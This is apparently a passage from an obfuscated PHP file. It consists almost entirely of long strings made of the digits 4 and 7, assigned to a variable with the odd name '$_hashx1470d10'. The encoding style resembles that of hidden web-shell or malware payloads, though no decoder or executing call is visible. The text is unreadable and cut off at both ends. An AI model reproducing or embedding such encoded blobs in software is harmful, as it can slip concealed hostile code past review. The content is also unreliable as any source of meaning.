44444444444444444447444444474444444444474447444744444447444744444444444744444444444444444444444444474444444444444444444744444447444444474444444444474444444444474444444744474447444444444444444744444444444444444444444444444444444744444444444444444447444444444444444444474444444744444444444444444447444444444444444444444447444744444447444444444444444744444444444444444447444744444447444744444447444444474444444444474444444444474444444444444447444744474444444444444444444444444444444744474444444444444447444444444444444744444444444444444447444444474447444744444444444444444447444444444444444444444444444444474447444444444444444444444444444444474444444444444444444444444444444444444444444444474444444444444447444444474444444444444447444444444444444444474444444444444447444744444444444444474444444744444447444744444444444444444444444444444444444444444444444444474444444444444447444444444444444444444444444744444444444444444444444444444444444444474447444444444447444444444447444444444444444444474447444444444444444744474444444744444444444744444447444444444444444444444444444444444444444744444444444744444447444444474447444444444444444444444447444444444444444444474444444444444447444744444447444744474444444744444444444444444444444444474444444444474447444744474447444444474444444744444444444444474444444444474444444444444444444444444447444444444444444744444444444444444447444444474447444444444444444744444444444744444444444444474444444744474444444444474444444444444447444444474447444444474444444444444444444444474444444444474444444444474444444444444447444444444444444444474447444444474447444444444444444444444447444444444444444444444444444744444444444444444444444744444447444744444444444744444444444444444444444444444447444444444447444444444444444444444444444444444447444444474447444744474444444444474447444444474444444444444447444444444447444744474444444444474444444444444447444744474444444444474444444444444447444744444444444744444447444444444444444444444444444444444444444444474444444444444447444744474447444744444444444444474444444444444444444444444444444744474444444744474444444744444447444444474447444444444444444744474444444444474444444444444444444444444444444444444447444744444444444444444447444444444444444744444444444444474447444444474447444444444447444744444444444444474444444444444444444444474444444444444444444444474444444744444447444444474444444444444444444444444444444444444447444444444447444744474444444444444444444444474444444744444444444444444444444744474447444444444444444444474444444744444447444444444444444744444444444444474447444744444444444444444444444444474444444744444444444744444447444744474447444444444447444744444444444744474447444444474444444744444447444444444447444444444444444744474444444444444444444744474444444444474444444444474444444444444444444444444444444444444444444744474447444744444444444444444444444744444444444444444444444444444444444444444444444744444444444444444444444444444444444444444444444444444444444444444444444444474444444444444444444744444444444744474444444444444444444444474444444444444444444744444444444444444447444744444444444744474447444744444447444744444444444444474444444444444444444744474444444744444444444444444444444444474444444744444447444444444447444444444444444444474444444444444444444444474447444444474444444444444444444744444447444444444444444744444444444444444447444744474447444444474444444744444444444744474447444444444447444444444444444444444444444744474447444744444447444444444444444444444444444444474447444444444444444444444444444444444444444444474444444444444444444744444444444444444444444444444444444744474444444444474444444444474447444444474444444444444444444744444447444444444444444444444447444444444447444744444444444444444447444744474447444444474444444744474447444444444444444444444444444444444444444444474444444444444444444444444447444444444444444744444444444444444447444444474444444444474447444444444447444444444447444444444447";
        $_hashx1470d10 = "444444444447444444474447444444474447444444444444444744444447444444444447444444444444444444444444444444444444444444444444444744474447444444474444444444444444444444474447444444444444444444444444444444444444444444444447444444474444444744444444444444444447444444474444444744474444444444444444444444444444444444444447444444444444444444444444444444444444444744474444444444474444444444444444444744474447444444444444444444474444444444444444444744444447444444474444444444444444444744474444444744444447444444474447444444474444444744444444444444444447444444444447444444474444444444444444444444444444444444444444444444444447444444444447444444444447444444444444444744444444444444474444444444444447444444444447444444444447444744474444444744474447444444444447444444474444444444444444444444444444444444444447444744474444444444444447444444444444444444444444444444444444444444474444444444474444444744444444444744444444444444444444444444444444444444474447444744444444444444444444444744474444444744474444444444444444444444444447444444474444444744474444444444444444444444444444444444444447444744444444444444444447444444444444444744444444444744444444444744474447444444474447444444444444444444474444444444444444444444474444444444444444444444444444444744474444444444444444444444474447444444444447444444474444444744444444444444444444444444444444444444474444444444444447444444474444444444444447444444444444444444444444444744444447444444474447444444474447444444444444444444474444444744444444444444474447444744444444444744444444444744444444444444474447444444444444444444444444444744444444444444444444444444474444444744474444444444474444444444474444444444444447444444444444444444444447444444474447444744444447444444474444444744444444444744444444444444444444444444444444444444474444444444444444444744444447444444474444444444444444444444444444444444444444444444444447444744444444444444444444444744444447444744444447444444444444444444444444444744474444444744474447444444444444444444474444444444444444444444474447444444474444444444444447444744444444444444444444444444444444444444444447444744444444444444444444444444444444444444444444444444444444444744474447444744474444444444474444444744444444444444474444444444474444444444444444444444474444444444444444444444444447444444444447444744444447444444444444444444444444444444444444444444444444444444444444444444444447444444444447444444444444444744444444444444444444444444474447444444444444444744444447444444444444444444474447444744444447444744474444444444474447444444444444444444474447444444444444444444444447444744474444444744444444444444444447444744474447444744444444444444444444444444444444444444474447444444474444444744444444444444444444444444474447444444444444444444444447444444474444444444444447444744444447444744444444444444444447444744444444444444444444444444444444444444474444444744444444444444444444444744444447444444444444444444444444444444444444444444444447444444474444444444444444444744444444444444474444444444444447444444474444444444444444444744444444444444474444444444444447444444444444444444474444444444444447444444474444444744444444444444444444444444444444444444474447444444444447444444444444444444444447444444444444444744444444444444474444444444474444444444474444444744444444444444474447444444444444444744474447444444444444444744444444444444444444444444444444444444444444444744444444444444444444444444444444444444474444444744444444444444444447444744444444444744444447444444444447444444474444444444444444444444444444444744444444444744444444444444474447444444444447444444444447444744444444444444444447444444444444444444444447444444444447444744474444444444444444444444444444444444444444444744444444444444474444444444474444444444444447444444444444444744444444444444444444444744474444444444444444444444444447444444444444444744444444444444474444444444444444444744444444444444444444444444444447444444474447444444444447444744444447444444444447444444444444444444444444444744444444444444444444444444444444444444444444444444444447444444444444444444444444444744444444444744444444444444444444444744444444444444444444444744444447444744444444444444444444444444444444444444444444444444444444444444444447444744444444444444444447444744444444444444444447444444474444444444444444444744444444444444474444444744444444444744444444444444444444444744444447444444444444444444444444444444444444444444474447444444444444444444444444444444444447444444474444444444444444444744444444444744444444444444474447444744444444444444444447444444474447444444444447444444474447444444474444444744444444444744444447444444444444444444444444444444444444444444444447444444444444444444444444444444444444444444474447444444474447444444444444444444444447444744444447444744474444444444474444444444444444444444444447444744474447444444444447444744474444444444444444444744444447444444474447444744444447444444444444444744444444444444444447444444444447444444444444444444474444444444474444444444444444444744444444444744444444444744444444444444444444444444444444444444444444444444444444444444444444444444444447444444444444444444444444444744474444444444444444444444474444444444444444444444474444444744444444444444444444444744474444444444474447444744444444444444444444444444444447444444444447444444444444444444444444444444444444444744474444444444444444444444444447444444444444444744444444444444444447444444444444444444444444444444444447444444474444444444444444444744474444444744444444444744444444444444444447444444474444444444444447444444444444444744474444444444474444444444474444444444444447444444474447444444474444444444444444444444444447444744444447444444444447444744444444444444444444444444444447444744444444444744444447444744444444444444444444444444444444444444444444444444444444444744444444444444444444444444474447444444474444444444444444444444444444444444444447444744444444444444444444444444444447444444444444444444444447444444474444444444474444444744444444444444444444444744444444444744444444444444444444444444444444444444444447444744444444444444444444444744444447444744474444444444474444444444474444444444444444444744474444444444444447444444474447444744444444444744444444444444444444444744474444444444444444444444444447444444474444444444444447444744474444444444444447444744474447444444444447444444444444444744444447444444444444444444444447444444474444444744444444444444444444444444474447444444474447444444474444444444444444444444444444444444444444444444444447444744474444444444444444444444444444444444474447444444444444444444444444444444474447444444444444444444444444444444444447444444444447444444444444444444444444444444444444444444474444444444444444444444474444444444474444444744474444444444444444444744474444444444444444444444444444444444444444444744444444444444444444444744444444444444474444444444444444444444444444444444444447444444474444444444444444444444444447444444444447444444444444444444474447444444444447444444444444444444444444444444474444444744474444444444474447444444444447444444444444444744474444444744444444444444444444444444444444444444444444444744444447444744444444444444444447444444444444444444444444444444444444444444444444444444444444444444444447444444444447444444444444444444444444444444444444444444444444444444444447444744444447444444444444444444444444444444444447444444444447444444444444444444444444444444444447444444444444444744474444444444474447444444444444444744444444444444444447444444444444444744474444444444444444444444474447444444444444444444474444444444444444444444444447444444444444444444444444444444444444444444444447444444474444444744444444444444444444444444444444444444444444444744444444444444444444444744474444444444444444444744444444444444444447444444444444444444444444444444474444444444444447444744444444444444444447444444474444444744444447444744444444444744444444444744444444444744474447444744444444444444474444444444444444444444444447444744444444444744444444444744444444444444444444444744444444444444444447444744444444444444444444444744474444444444444444444444444444444444444444444744444444444744444444444444474444444444444447444744474447444444444444444444444444444444444447444444444444444444474444444444444447444444444444444444444444444444444444444444444444444444444444444444444444444444444447444444474444444444444444444444444447444444444444444744474444444744444447444444444444444444474444444444474444444444444444444444444447444744444444444444444447444444444447444444444444444444444447444444444444444744444444444744444444444444444447444444474444444444474444444744444447444444444444444744444444444744474444444744444444444744474444444444444444444444444447444444444444444444444444444444444444444444444447444744444444444444444444444744444444444444474444444444444444444744444447444444444447444444474447444444444447444744474447444744444444444444444444444444444444444444444444444744474444444444444447444444444444444744474444444444474444444744444444444744474444444744444444444444444447444444444444444444474444444444444444444444474447444444444444444744444447444444444444444444474444444444444444444444474444444444474447444444474444444444444444444744444447444444444447444444474444444744444444444444474447444444444447444444444444444444444447444444474447444444444447444444444447444744474447444444444444444444444447444444474444444444444444444444444447444444474444444444474444444744444447444744444444444444444444444444444444444444474447444444444447444744444444444444444444444444444444444444444444444444444444444444444444444744444444444444444444444444444444444744474444444444474447444444474444444744444447444444444444444444444447444444444444444444444444444444474444444444444444444744474444444444474444444444474444444444444447444444444444444444444447444744444447444444444447444444444444444444444444444444444444444744444444444744444444444444444444444444444444444444444444444744444444444444444447444744444447444444444444444444444444444744444444444444474444444444444444444744444444444444474447444744474444444744444447444444474444444444444444444744474444444744444444444444444444444444474444444744474444444444444447444744444447444444444444444744444444444444444444444444474444444744444444444744444444444744444444444444474444444444444444444444474447444444474444444444444447444444444444444444444444444744444444444444444447444444444444444444474444444444444444444444444444444744474444444744444447444744474444444744474447444444444447444444474444444444474447444444444447444444474444444444444444444444444444444744474447444744474444444444444447444444474444444444474444444744444444444444444444444744444444444444444444444444444444444444444444444744474447444744444444444444444444444444444444444744444447444744474444444744474444444444444444444444474447444444444444444744444444444444444444444444444444444744474444444444444444444444444444444444444444444444444444444444444447444744474447444444444444444444474444444744444444444444474444444444444444444444444444444444444444444444444444444444444447444444474444444444474444444444444444444444444444444444474444444444444444444444444447444444444447444444444447444444444447444444444444444444444444444744444444444444444447444444444444444744444444444444444444444444444444444444444444444744474444444444444447444444444447444444444444444444444444444444444444444444474444444444444444444444474444444744444447444444474447444444474447444744474444444444474444444444444447444444444447444444474444444744474444444444444444444444444444444444474447444744444447444444444447444444444444444444444447444444444444444744444444444444474447444444474447444444444444444444444447444444444444444444444444444444444444444444444447444744444447444444444444444444444444444444444444444444444444444444444444444444474444444444444447444744444444444444444444444744444444444444444447444444444444444744444444444744444444444444444444444444474447444444444444444444444444444444444444444744444444444744444444444444444444444444444444444444444447444744444444444744444444444444444444444444444444444444474447444444444444444744444444444444444444444444444444444444474444444444444444444444444444444444444444444444444444444444444444444444444447444444444444444744474447444444444444444744474447444744444444444444444444444444444444444744474444444444444444444444474444444444474444444744444444444444444447444444444444444444474444444444444444444444444447444444444444444744444447444444444444444444474447444444474447444444444447444444474444444444444444444744444444444444474444444444444444444444474444444744444444444444444444444744444447444444444447444444444444444744444447444444444444444444444444444744444447444444444444444744444444444444444444444444444444444444444447444444474444444444474444444744474444444444474444444444444444444444444447444744444447444744444444444444444447444444474447444444444444444444474444444444444444444444444447444444474444444444444444444744444444444444444447444444444444444444444447444444444447444744444447444444474444444744444444444444444447444444444444444444444444444444444447444744444444444444474444444744444447444444444447444444444444444444474447444744444447444444444444444444444444444444474444444744444444444444444447444744444444444444444444444444444447444744444444444444444444444744444447444444444444444444474444444444474444444444474447444444474447444444444444444744474444444744474444444444444447444444444444444444444447444444474447444444474447444444444444444444474447444444444444444444444447444444444444444444474447444744474447444444444447444444444444444444474444444444444444444744444444444744444447444444444447444444444444444444444447444444444444444744444444444444474447444444444444444444444444444744474444444444444444444744444444444444444444444444444444444444444444444444444447444444474444444744444444444444444447444744474444444444444447444444444444444444474444444744444444444444474444444444444444444444474444444444474444444444474444444444474447444444444444444444444447444444444444444444444444444444444447444444444444444444474447444444474444444444444444444444444444444444444444444744444444444444444444444444444444444744444444444444474444444444444444444444444444444744474447444444444444444744474444444444444444444444444447444444474444444744444444444444444447444744444444444744444444444444444444444444444444444744474444444444444444444744474444444444474444444444474447444444474447444744444444444444444447444444444444444444474447444444444444444444444447444444444447444744444444444444444447444444444444444444444447444444444444444444444444444744444444444744444444444744474444444744444444444444444444444744444444444744444444444444444444444444444444444444444447444444444444444444444447444444444444444744444444444744444444444444444447444444444444444744444444444444444444444444474444444444444444444444444444444444444444444744444444444444444444444444444444444444444444444444444444444444444447444444474447444444444444444744474447444444444444444744474444444444474447444444474447444744444447444744444444444444444444444444474444444444444444444444474444444444444447444444474444444444474444444444474444444444444447444744444444444444474447444444444444444444444447444444474444444444444444444444474444444444474444444444474444444444444447444444444447444444444444444444444444444744444444444744444447444444444444444444444444444744474444444444474444444444444444444744474444444444444447444444444444444444474444444444444444444744474444444444444444444444444447444744444444444444474447444444444447444444444444444744444444444444444444444744444447444744444444444444444447444444444444444444444444444444474444444444444447444444444447444444474444444444474444444744444444444444444447444444474447444444444444444444474444444444444447444444444444444444474444444444444444444444474447444444474444444444444444444444444444444744444444444744444444444444444444444444444444444444444447444444474444444444444444444444444444444744444444444744474444444444474447444444444444444444444444444444474444444444444444444444444444444444444447444444474444444444444444444444444444444444444444444444444447444444474444444744444444444444444444444744444444444444444447444444444444444444444447444444474444444744474444444744474444444444444444444744444444444744444444444444444444444444444444444744444447444444444444444444474444444744444444444444444444444444474447444444444444444444444444444444444444444444474444444744444447444444474447444444444444444444444444444444474447444444474444444444444444444444444444444444444444444444444444444444444447444444444447444444444444444444444447444444444444444744444447444744444444444444444444444444444444444444474447444444474447444444444444444444474444444744444444444444444444444744444444444444444444444444474444444744474444444444444444444444444447444444444444444744444444444744444444444444474444444444444444444444474447444444444444444444474444444444444447444444474444444744444444444444444444444444474447444444444444444744444444444444474447444444474444444444474447444444444444444444444444444444444444444444444444444744444444444444444447444744444444444744444444444444444444444444444444444444444444444744444444444444474447444444444444444444474444444444474444444444444444444444474444444444444444444444474447444444444447444744444444444444474444444444474447444744444444444444444447444444474444444744444444444444474444444744444444444744444444444444474444444444474447444744444444444444444444444744474444444744444444444444444444444444474444444444474444444744444447444744444444444444474444444444444447444444474444444744444447444444474444444744444444444444474444444444444444444444444444444444444444444444444444444444474444444744444444444744474447444444444447444444444444444444444447444744444444444444444447444444474447444444444444444444474447444444444447444744474447444444444444444744444444444444444447444444474447444744444444444744444444444444444444444444444447444744444444444744444444444744444444444444444444444444444444444444444444444444444444444444444444444444474444444444474444444444444447444444474444444444444444444444444447444744444444444444474444444444444444444444444444444744444444444444444447444444444444444444444444444444474447444744444444444444474444444744444444444744444447444744474444444744444444444444444444444744444444444444474447444444474444444744444444444744444447444444444444444444444447444444444444444444444447444744444447444444444444444444444447444744444444444444474444444744474447444444444444444444444444444444444444444444444444444444444444444444444444444444444444444744474444444444474444444444444444444744444444444744444444444444444444444444444444444444444447444444474447444444444447444744474444444744444444444444474444444444444447444744474447444444474444444444444447444444444447444444444447444744444444444444444444444444444444444744444444444744474444444444444444444444444444444444444444444444444447444744444444444444444444444744444444444444444444444444444444444444474447444444474447444744444447444444474444444444474444444744474447444444444444444444444444444744444444444444444444444444474444444444474447444744444444444744474447444444444447444444474444444444444444444744474447444444474444444444444444444444444444444444474444444744444444444744444444444744444447444444444444444444474447444444444447444744444444444444444444444444444444444444474444444744474444444444474447444744444444444444474444444444444444444444444444444444474444444444444444444444444444444444444444444444474444444744474444444444444444444744444444444744444444444444444447444444444444444444444444444444444444444444444444444444444444444444444447444744444444444444444447444444474444444744444444444444474444444444444444444444444444444444444444444444444444444444444444444444444444444444474444444444444444444744474444444444474444444744444444444744444444444444444444444444444447444444444444444444444444444444444447444444474444444744444444444744444444444444444444444444444447444444444444444744474444444444474444444744444447444744474444444444444447444444444444444444444447444744444444444444444444444444444444444444444444444744444444444444444447444744474444444444444444444744444444444444444444444444444444444444444444444444444444444444474447444444444444444444474444444444474444444444444444444444444444444744444444444444474444444744444444444744444444444444444447444744444444444444474444444444474444444444444447444444474444444744444444444744444444444744474447444444474444444744474444444444444447444444474444444444444444444744474447444444444444444444444444444444444444444444444444444444444447444444444444444444474444444444474444444444444447444444444447444444444444444444444447444744474444444444444447444744444444444444444444444744444444444744474444444444444444444444444444444744444444444444444447444744444444444744444447444444444447444444444444444744444444444444444444444444444444444444444447444444474444444444474444444444474444444444444444444744444444444744474447444744444444444744444444444444444444444444444444444444474444444444444444444444444447444744444444444444444447444744444444444744444444444444444447444444444447444444474444444744474444444444444444444444474447444744444444444444444447444444474444444444444447444444444444444744444444444444474447444744474444444744474444444444444444444444444444444444444444444444444447444444474444444444444444444444444444444444444447444444444444444444474444444444444447444744474444444444444444444444474444444444444447444444444447444744444444444744444444444744444447444744444447444444444444444444444444444444474444444444444444444744474444444444444444444744444444444744444444444444444444444444444444444444474444444444444444444744444444444444444447444444474444444444474444444444474444444444444444444744474447444444474447444444444444444444474444444444474447444444444444444744444444444444444444444444474444444444444447444444444444444444444444444444444447444444444447444744474444444444444444444744444444444444474444444444474444444744474447444444444444444444474444444444474444444444444444444744444444444444444447444744444444444444444444444444444447444444444447444744444444444444444447444444474444444444444444444744444444444444444447444444444444444444474444444444474447444444444447444744444444444444474444444444444444444744474444444444444447444444474444444444444444444444444447444444444447444444474444444444444444444444444444444444444444444744444444444444444444444744444444444744444444444744444447444444444444444444474444444444444447444444444444444444474444444444444444444744444444444444474447444744444444444744444444444744444444444744444447444444474444444444444444444444444447444444444447444744474444444444474444444444474444444444444444444744474444444444444444444444474444444444444447444444444444444444444444444744444444444444444444444444444444444744444444444444444447444744474447444444444444444444474444444444474444444444444447444444474444444744444444444444444447444444444447444744474447444444444444444444474444444444444447444444474447444444444444444444474444444744474444444444444444444444474447444444474447444744474444444444474444444744444444444744444444444444474444444444474447444444444444444444444444444444444444444444474444444744444444444444444444444444474444444444444444444744444444444444444444444444474444444744474444444444474447444744444444444444444444444444474444444444444444444444474444444444444444444444474444444444474444444744444447444444444444444744474444444444444444444744444447444444444444444744444447444444444444444444444444444444474444444444444444444444474444444444444444444444444444444444444447444444444444444444474447444444474444444444444444444744474444444444444444444444444444444444444444444444444447444444474444444744474444444444474444444444444444444744444444444444444444444444444444444444444447444744444444444444444444444444444444444444444447444444444444444444444444444444444444444744444444444744444444444444444444444444444444444444474447444444474444444744444444444444444447444444474444444444444444444444444444444444474444444744474444444744444447444444474447444444444444444444444444444444444444444444444444444444474444444444444444444444444444444744444444444444444444444444444444444444444444444444444447444444474444444444474447444444474444444444444447444444474444444744444444444744444444444744444447444444474447444444444444444744444444444444444444444744444444444744474444444744444447444444444447444444444444444444444444444444474447444744474444444444444447444444474444444444444444444444444447444744444444444444444444444744444444444444444444444444444444444444444447444444444447444444444447444444444444444744444444444744474444444444474444444744444444444744444444444444474447444444444444444444474444444444444444444444444444444744444444444444474444444744474444444444474444444444444444444744444444444444444444444744444444444444444444444744474444444444444444444744444447444444444447444444444447444744474444444444474444444744444444444444444444444444444444444744444444444444474447444444474444444444474447444444444447444444444444444444444447444444474447444444444444444444444444444444444447444444444447444744474444444444474447444444444444444444444444444744444444444444444444444444444447444444474444444444444447444444474447444444444444444444474444444444444444444444444444444444444444444444444444444744474444444444444444444744444447444744444444444444444444444744474444444444444444444444474444444744444444444444474447444444444444444444444444444444444444444744444447444444444447444444474444444744474444444744474447444444444444444444444444444444474444444444444444444444444447444744444447444444474447444444474444444444474444444744444444444444474444444444444447444744444447444444444447444444444444444444444444444444474444444444444444444444444444444444474444444444474444444444444444444444444444444744444444444744444444444444444444444444444444444444474444444444474447444444444444444444444444444744444444444444444444444444444444444744474447444444444444444444444444444444444444444744474447444444444444444444444444444744444444444444444447444444474447444444444444444444444444444444444444444744444444444444444444444444444444444744474444444444474447444444444444444444474444444444444444444444444444444444444444444444444444444744474444444444444444444744444444444444444444444444444444444744444447444444444447444444474444444444444444444444474447444444474447444444444444444444474444444744444444444444444444444444444447444744474444444444444444444744474447444444474444444444444444444444444444444444444444444444444444444444444444444744444444444744474444444444444447444444444444444444444444444444444444444444444444444444444447444444444444444744444447444444444444444744474447444744444447444444474444444444444447444444444444444444444444444444444444444444444447444444444444444744444444444444444444444444444444444444444444444744444447444744474444444444444444444444444447444444444444444444444444444444444444444444444444444444444444444744444444444744444447444744444444444444444444444444444447444444444444444444444444444444474444444444444444444444474444444444474444444744474444444444444444444444444444444444444447444744444447444444444444444744474444444744444447444444474444444444444447444744474444444444444444444444444444444444444444444444444447444744444444444744444444444744444444444444444444444444474447444444444444444444444444444444444444444444444444444744444447444444474447444444444444444444444444444744474444444444474444444444444444444444474447444744474444444444444447444444474447444444444444444444444444444444444444444444444444444444444444444444444444444744474447444444444444444444474447444744444444444444474444444444444444444444444444444744444444444444474444444744444444444444474444444744444447444444444447444444444444444744444444444744444447444444444444444444474444444744444447444444444447444744444444444744444444444444444444444444444447444444444444444744444444444444474444444444444444444444444447444444444444444444474444444444474444444744474447444444444444444444444444444444444447444444444444444444444444444444444444444444474447444444444444444744444444444444444444444444444444444744474444444744444444444444474444444444444447444444444444444744474444444444444444444744474444444444444444444444444444444444474444444444444444444444444444444444444444444444474444444744444444444744444444444744444444444444444444444444444447444444444447444444474447444744474447444444474444444744444444444744444444444444474444444744444447444744444444444444474447444444474444444444444444444444474444444444444444444444444447444444444447444444444444444444444444444444444444444444444444444444444444444444474444444444444444444744444447444444444444444444444447444444444444444444444444444444474444444444444444444444474447444744444444444744444447444744444444444444474444444744444447444444444447444444474444444444444447444444474444444444444444444744444444444444444444444444444444444744474444444444444447444444444444444744444444444744444444444444444444444744444444444444444444444444444444444444474444444744444444444744444444444444474444444444474444444444444444444444474447444444444447444744444447444444474444444744444444444744444444444444474447444444444444444744444444444444444444444444444444444744474444444444444444444444474444444444444444444444444444444444444444444444444444444444444447444744444444444444474444444444444444444744444444444444474444444444474444444444474447444744444447444444474444444744474444444444444447444744474444444444444444444444474447444444444444444744444444444444444447444444444444444444474447444444444444444444444447444444444444444444444444444744444444444444444444444444444444444444474444444444474444444444444444444444474444444444444444444444444444444444444444444444444444444444444444444744444444444744474444444444474444444444444444444444444444444744444444444444444444444444444444444444474444444444444444444444444447444744474444444444444447444444444447444444444447444744474444444444444444444444474444444444474444444444444444444744444444444444474444444444474447444744444447444444444444444444474444444444444447444744444444444444444444444444444444444444444447444744474447444444474444444444444444444444444447444444444444444744444447444444444444444744444444444444474444444744444444444444444444444744444444444744474444444444444444444444474444444444444444444444444444444744474444444444444444444444444444444744444447444444444444444444474447444444474444444444444447444444474444444444444444444444444447444444474444444444474447444744474447444444444444444444444444444744444444444444444444444444444447444744444447444444444444444444474444444444474444444744444447444444474447444444444444444444474444444444474444444444444444444444444444444744444444444444444444444744444444444444474444444744444444444444444444444444444444444744474444444444444444444444444447444444444444444744444444444444444444444444474444444444444447444444444447444444444444444744444447444444444447444444444444444744444444444744444447444744444447444744444444444744444447444444444444444444474447444744474447444444474444444444444447444744474447444444444447444444474444444444474444444444444447444444474444444444444444444444444444444444474444444444444444444444444447444444444444444744444447444444444444444444444447444744444447444444444444444744444444444444444444444444474444444444444444444444444444444444444444444744444444444744444444444744474444444744444447444744474447444444444444444444474444444744444444444444444447444744474444444744474444444444474444444444444444444444474444444444444447444744444447444744444444444744444444444744444444444744444444444744444447444444444444444444444444444744444447444744444447444444474444444744444444444444444444444444474444444444444444444444444447444444444444444444474447444444444444444444444444444444444444444444444447444444444444444744474444444444444444444444474447444744444444444444444444444444444444444444444444444744444447444744474447444444444447444744444444444744474444444444444444444744474447444444444444444444444444444444444444444444474447444444444444444444444444444444444444444444444447444444444444444444444444444444444444444744444447444444444447444444444444444744444447444444444444444444444444444444444444444444444444444744444447444444444444444744444447444744444444444444474447444444444444444744444444444444444444444744444444444444444444444744444447444444474447444444444444444444444447444444474444444744444444444444444444444444444444444444444444444444444444444444474444444444444444444444474444444444444447444444444444444444474444444744444447444444444447444744444444444444444444444444474444444744444444444444444444444444474447444444444444444444444444444744444444444744444447444444444444444744444444444744444447444744474444444444474447444444474444444744444444444444444444444744444444444444474444444444444447444444444447444444474444444444474447444444444444444444474444444444444444444444474444444744444447444444444444444444444444444444474444444444444444444444474444444444444444444444474447444444444447444744444447444444444444444444444444444444444444444444444447444444474447444444474444444444444444444444444447444444474447444444444444444444444444444444444444444744444444444444474444444744444447444444474447444444474447444444444447444744444447444744444444444444474444444444474444444444474447444444444444444744444447444444444444444444444444444444474447444444444444444444444444444744444447444444474444444444444444444744444447444744444447444444474444444744444444444444474444444444474447444444444444444444474447444744444444444444444444444444474447444744444447444444444447444444474444444444474444444444444444444444444444444444444444444444474444444444444444444444444444444444444444444444474444444444474444444744444444444444444444444444444447444744444444444444474447444744474444444444444447444444444447444444444447444444444444444444444444444744474444444444474444444444444444444444444444444744444444444444444444444444444444444444444447444444444444444744474447444744444447444444444444444444444444444444474444444444474444444744444444444444444444444444444447444444444444444744474447444744474444444744474444444444444444444444444444444444474444444444474444444444444444444744444447444444444444444444474444444444444444444444474444444444474444444744444447444444474444444444444447444444444447444444444444444744444447444444444447444444444444444744444444444444474447444444444444444444474447444444444444444744444444444444444444444444474444444444444444444444444447444444444444444444474447444444474444444744474444444444444444444444444444444444444447444444444444444444474444444444444444444444444444444744444447444444444447444444474444444444474444444444444444444744474444444744444444444444474447444444444444444444444447444744474447444444444444444744474447444744444444444444474444444444444444444444444444444444444447444444474444444744444447444444444447444444444444444444444447444444474444444444444444444744444444444444474444444744444444444744444447444444474447444444444444444744444447444444444444444444444444444744444444444444474444444744444447444744444444444744444444444444474444444444444444444444474444444744474444444444444447444444444447444444444444444744444447444744444447444744444444444444444444444444474444444744444444444444444444444444444447444444444444444444474444444444474444444444444444444444474444444444444444444444444444444744444444444744444447444744444444444444444444444444444444444744444447444444444444444744444444444444444444444744474444444744444444444744474447444744444444444744444444444444444444444444444444444444444447444444444447444444444444444744474444444444444444444744444444444444444444444444444444444744444444444444444444444444444447444444444444444444444444444444444444444444444447444444444444444444444447444444444447444444474444444444444444444444444444444444444444444444474444444444444447444444444447444444444444444444444447444444444444444444444447444444474444444744444444444744444444444444474447444444474444444444444447444744474444444444444447444444474447444444474444444444444444444744474444444744444447444744444444444444444444444744444447444744474447444444444447444744444444444444444444444444444444444444474444444744444447444444474444444444444444444744444444444444444444444744444444444744474444444444444444444444474444444444474444444744444447444444474444444444474444444444474447444444444444444744444444444744474444444444474444444444444444444744444447444444474444444444444447444444474444444444474444444744444447444444444447444444444444444744444444444444444447444444444444444444444447444744444444444744444444444444444444444744444447444444474444444744444444444444474444444444444444444444444444444444474444444744444444444744444444444744444444444744474447444444474444444444444444444444444444444444444444444444444447444444444447444744444444444444444444444444444444444444474444444444444444444444474444444444444444444444474444444444444444444444444447444444444444444444444444444744444444444444474444444444444444444744444447444444474444444444444447444444444447444444444444444744444447444444444444444744474444444744444444444444474444444744474444444444444444444444474447444744474447444444444444444444444444444744474447444444474444444744444447444444444444444444444444444444444447444744474444444444444447444444444444444444444447444444444447444444474444444744444447444444444444444444444444444444444444444444444444444444444447444744444444444444474447444444474444444744444447444444474444444444474444444744444444444744474447444744444444444744444447444444444444444444474447444444474444444744444444444744444447444744444447444744474444444744444447444444444444444444444444444444474444444744444444444444474444444444444447444444444444444744474444444444444444444744444447444744444444444444444444444744474447444444444447444744444444444744444444444444444447444444444444444744444444444444474444444744444444444444474444444744444447444444444444444444444447444444474447444444444447444744444444444444444444444444474444444444444444444744444444444444444444444744474444444444444444444744444444444444474447444744444447444444474447444444444444444444474444444444444444444444444447444744444444444444444444444444474447444444474447444444444444444744444447444444444444444444444444444444444444444444444444444444444444444444444447444744444447444444444444444744444444444444444447444444444444444744444444444444474447444444444444444744474444444444474444444444474444444444444444444444474444444444444444444444474444444444444444444444474447444444474447444744474444444744474444444744474444444444444444444444444444444444444444444744474447444444444444444744444447444444444444444444474444444444444444444444444444444444444447444444444447444744444444444444444444444744444447444744444447444444444444444444474444444444474447444444444444444744444444444444444447444444444447444744444444444744444444444444474444444444444447444444444444444444444447444444444444444444444444444744444444444444474447444444444444444444444444444444444447444444444444444444474447444744474444444444444444444444444447444444444444444744474447444444444444444444444447444444444447444444444447444744474444444444444444444444444444444444474444444744444444444744474444444444444444444444474447444444474444444444444447444444444444444444474444444744444444444444444447444444444444444744444447444444444444444744444444444444474444444744444444444444474444444444474447444744444444444744474444444444444444444744474444444444474444444444474444444744444444444444444444444444444444444444474447444444474444444744474444444744474444444444474444444444444447444744444444444744444444444444474444444444444444444444444447444444444444444744444444444444444444444444444447444444444444444744444444444444444444444744474444444744444444444744444447444744444444444444444447444744474444444744444447444444474444444444474444444444444444444444444447444444444444444444444444444444474444444444474447444744444444444744444444444744444447444444444444444444444447444444444444444444444447444744444444444744444444444744474444444444474447444444444444444444474444444744474447444744444444444744474444444444444447444744444444444744474444444444444444444444444444444444474444444444444444444444474447444444474447444744474447444444444444444744474447444444444447444744444444444444444444444744444444444444444447444444444447444444444447444444444447444744444444444444474444444444444447444744444444444444444444444444474444444444474444444444474444444444444444444744444444444444444444444444444444444444444447444444474444444744444444444444444444444444474444444444474444444444444447444444474444444444444444444444474444444444444444444444444444444744474444444444444444444744444447444444444444444444444444444444474447444444444444444744474444444444444447444444444444444444444447444444444444444744444447444444474447444444444447444744474447444444444444444744444447444444444444444444444447444444474444444444474444444744444444444444474447444444444444444744444444444744444444444444474444444444444447444744444444444744444447444444444444444444444444444444444444444444444444444444444444444444444447444744444444444444444444444744474444444744444447444444444444444444444444444744444447444444444447444444474444444744444444444444474444444744474444444444444447444444444447444444444444444444474444444444474444444444474444444444474444444744444447444744474447444444474444444744444447444744474447444744444447444444444444444444444444444744474444444744474447444444474447444444474447444444444444444444474444444744444444444444474444444744474444444444474444444444474444444744444444444444474447444744444447444444474444444444444444444444444444444444444444444744474444444444474447444744444444444444444444444444474444444444474444444744444444444444444444444444444444444444444447444444444444444444444444444744474444444444444447444444444447444744474444444444474444444444444447444444444444444444474447444444444444444444